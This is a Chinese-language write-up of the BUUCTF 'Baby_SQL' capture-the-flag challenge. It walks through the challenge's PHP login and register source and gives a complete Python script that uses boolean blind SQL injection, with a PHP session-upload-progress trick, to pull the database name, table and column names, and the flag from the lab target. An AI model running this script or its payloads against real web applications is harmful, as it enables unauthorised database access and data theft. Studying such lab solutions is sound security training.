58,【8】BUUCTF [PwnThyBytes 2019]Baby_SQL1

进入靶场

和2次注入的页面很像

不过养成查看源代码的好习惯

先访问source.zip

下载后解压,发现两个文件

第一个文件夹打开又有4个PHP文件

那还是先看index.php文件好了

有PHP和HTML两部分,下面是PHP部分代码(HTML太长了,先放一放)

php 复制代码
<?php
// 启动会话
session_start();

// 对 $_SESSION 中的每个元素进行过滤处理
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
// 对 $_GET 中的每个元素进行过滤处理
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
// 对 $_POST 中的每个元素进行过滤处理
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
// 对 $_REQUEST 中的每个元素进行过滤处理
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;

// 定义过滤函数
function filter($value)
{
    // 如果值不是字符串,终止脚本并输出 Hacking attempt!
   !is_string($value) AND die("Hacking attempt!");
    // 使用 addslashes 函数对字符串进行转义,防止 SQL 注入
    return addslashes($value);
}

// 如果满足以下条件,包含 templates/register.php 文件
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
// 如果满足以下条件,包含 templates/login.php 文件
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
// 如果满足以下条件,包含 templates/home.php 文件
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>

对通过SESSION、GET、POST、REQUEST方法获取到的每个元素进行过滤处理,对字符串进行转义来防止SQL注入

看另外4个

db.php

php 复制代码
<?php

$servername = $_ENV["DB_HOST"];
$username = $_ENV["DB_USER"];
$password = $_ENV["DB_PASSWORD"];
$dbname = $_ENV["DB_NAME"];

$con = new mysqli($servername, $username, $password, $dbname);

?>
php 复制代码
<?php
// 从环境变量中获取数据库的主机地址
$servername = $_ENV["DB_HOST"];
// 从环境变量中获取用于连接数据库的用户名
$username = $_ENV["DB_USER"];
// 从环境变量中获取连接数据库的密码
$password = $_ENV["DB_PASSWORD"];
// 从环境变量中获取要连接的数据库的名称
$dbname = $_ENV["DB_NAME"];

// 使用 mysqli 类创建一个新的数据库连接对象,将前面获取的主机地址、用户名、密码和数据库名称作为参数
$con = new mysqli($servername, $username, $password, $dbname);
?>

home.php

php 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <!-- 定义文档字符编码为 utf-8 -->
    <meta charset="utf-8">
    <!-- 告知搜索引擎不要索引此页面 -->
    <meta name="robots" content="noindex">


    <title>home</title>
    <!-- 设置视口,以实现响应式布局 -->
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <!-- 引入 Bootstrap 的 CSS 样式表 -->
    <link href="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/css/bootstrap-combined.min.css" rel="stylesheet"
          id="bootstrap-css">
    <style type="text/css">
    </style>
    <!-- 引入 jQuery 库 -->
    <script src="//code.jquery.com/jquery-1.10.2.min.js"></script>
    <!-- 引入 Bootstrap 的 JavaScript 库 -->
    <script src="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
    <?php
    // 包含数据库连接文件 db.php
    include 'db.php';


    // 判断是否设置了 $_SESSION["username"]
    if (isset($_SESSION["username"])):
        // 如果设置了 $_SESSION["username"],显示一个警告信息
        die('<div class="alert alert-warning" id="msg-verify" role="alert"><strong>Hope this site is secure! I did my best to protect against some attacks. New sections will be available soon.</strong></div>');
    else:
        // 如果未设置 $_SESSION["username"],进行页面刷新,跳转到?p=login
        die('<meta http-equiv="refresh" content="0; url=?p=login" />');
    endif;
   ?>
</div>
</body>
</html>

login.php

php 复制代码
<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

?>
php 复制代码
<?php
// 检查 $_SESSION 是否未被设置,如果未设置则终止脚本并输出错误信息,防止直接访问该脚本
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
// 包含 db.php 文件,可能包含数据库连接等相关代码
include 'db.php';

// 构建 SQL 查询语句,从 `ptbctf`.`ptbctf` 表中查询用户名为 $_GET['username'] 且密码为 $_GET['password'] 的 MD5 加密值的用户信息
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="'. $_GET['username']. '" and password="'. md5($_GET['password']). '";';
// 执行 SQL 查询
$result = $con->query($sql);

// 定义 auth 函数,用于将用户信息存储在 $_SESSION 中并返回 True
function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}

// 以下是逻辑判断:
// 如果查询结果行数大于 0,并且可以获取查询结果的一行数据,并且关闭数据库连接,并且调用 auth 函数存储用户信息,并且重定向到?p=home 页面,则执行成功;
// 否则关闭数据库连接并输出 Try again!
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>

redister.php

php 复制代码
<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");

$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));

?>
php 复制代码
<?php
// 检查 $_SESSION 是否未被设置,如果未设置则终止脚本并输出错误信息,防止直接访问该脚本
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
// 包含 db.php 文件,可能包含数据库连接等相关代码
include 'db.php';

// 以下是对 $_POST['username'] 的验证:
// 检查用户名是否包含字母 a、d、m、i、n 中的任何一个(不区分大小写),
// 或者用户名长度小于 6,
// 或者用户名长度大于 10,
// 或者用户名不是字母数字组合
// 如果满足上述任何一个条件,则关闭数据库连接并输出 "Not allowed!"
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR!ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");

// 构建 SQL 插入语句,将用户输入的用户名和密码(密码进行 MD5 加密)插入到 `ptbctf`.`ptbctf` 表中
$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("'. $_POST['username']. '","'. md5($_POST['password']). '")';
// 执行 SQL 插入操作,如果插入成功则关闭数据库连接并输出 "The user was created successfully!",否则关闭数据库连接并输出 "Error!"
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));
?>

根据代码信息绕过过滤机制

运行以下python脚本

python 复制代码
import requests
import time

url = "http://b9b081b9-90ad-4343-93d0-98dbc62e66d2.node5.buuoj.cn:81/templates/login.php"

files = {"file": "123456789"}

# 字段值
flag = ''
for i in range(1, 100):
    low = 32
    high = 127
    mid = (low + high) // 2
    while low < high:
        time.sleep(0.06)
        payload_flag = {
            'username': f"test\" or (ascii(substr((select group_concat(secret) from flag_tbl ),{i},1))>{mid}) #",
            'password': 'test'
        }
        r = requests.post(url=url, params=payload_flag, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                          cookies={"PHPSESSID": "test1"})

        if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if mid == 32 or mid == 127:
        break
    flag += chr(mid)
    print(flag)

print(flag)

# 列名
column = ''
for i in range(1, 100):
    low = 32
    high = 127
    mid = (low + high) // 2
    while low < high:
        time.sleep(0.06)
        payload_column = {
            'username': f"test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl' ),{i},1))>{mid}) #",
            'password': 'test'
        }
        r = requests.post(url=url, params=payload_column, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                          cookies={"PHP_SESSION_UPLOAD_PROGRESS": "test1"})

        if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if mid == 32 or mid == 127:
        break
    column += chr(mid)
    print(column)

print(column)

# 表名
table = ''
for i in range(1, 100):
    low = 32
    high = 127
    mid = (low + high) // 2
    while low < high:
        time.sleep(0.06)
        payload_table = {
            'username': f'test" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ptbctf"),{i},1))>{mid}) #',
            'password': 'test'
        }
        r = requests.post(url=url, params=payload_table, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                          cookies={"PHP_SESSION_UPLOAD_PROGRESS": "test1"})

        if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if mid == 32 or mid == 127:
        break
    table += chr(mid)
    print(table)

print(table)

# 数据库名
database = ''
for i in range(1, 100):
    low = 32
    high = 127
    mid = (low + high) // 2
    while low < high:
        time.sleep(0.06)
        payload_database = {
            'username': f"test\" or (ascii(substr((select database()),{i},1))>{mid}) #",
            'password': 'test'
        }
        r = requests.post(url=url, params=payload_database, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                          cookies={"PHP_SESSION_UPLOAD_PROGRESS": "test1"})

        if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if mid == 32 or mid == 127:
        break
    database += chr(mid)

print(database)
相关推荐
要努力啊啊啊1 分钟前
使用 Python + SQLAlchemy 创建知识库数据库(SQLite)—— 构建本地知识库系统的基础《一》
数据库·人工智能·python·深度学习·自然语言处理·sqlite
KENYCHEN奉孝2 分钟前
Django CMS 的 Demo
数据库·sqlite
为中华崛起而奋斗24 分钟前
Oracle 19c RAC集群ADG搭建
数据库·oracle
UQI-LIUWJ2 小时前
LLM 笔记:Speculative Decoding 投机采样
笔记
betazhou2 小时前
mariadb5.5.56在centos7.6环境安装
android·数据库·adb·mariadb·msyql
开挖掘机上班2 小时前
mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包
数据库·mysql
花月C2 小时前
Mysql-定时删除数据库中的验证码
数据库·后端·mysql·spring
凤年徐4 小时前
【数据结构初阶】单链表
c语言·开发语言·数据结构·c++·经验分享·笔记·链表
success_a4 小时前
大故障:阿里云核心域名爆炸了
数据库·阿里云·云计算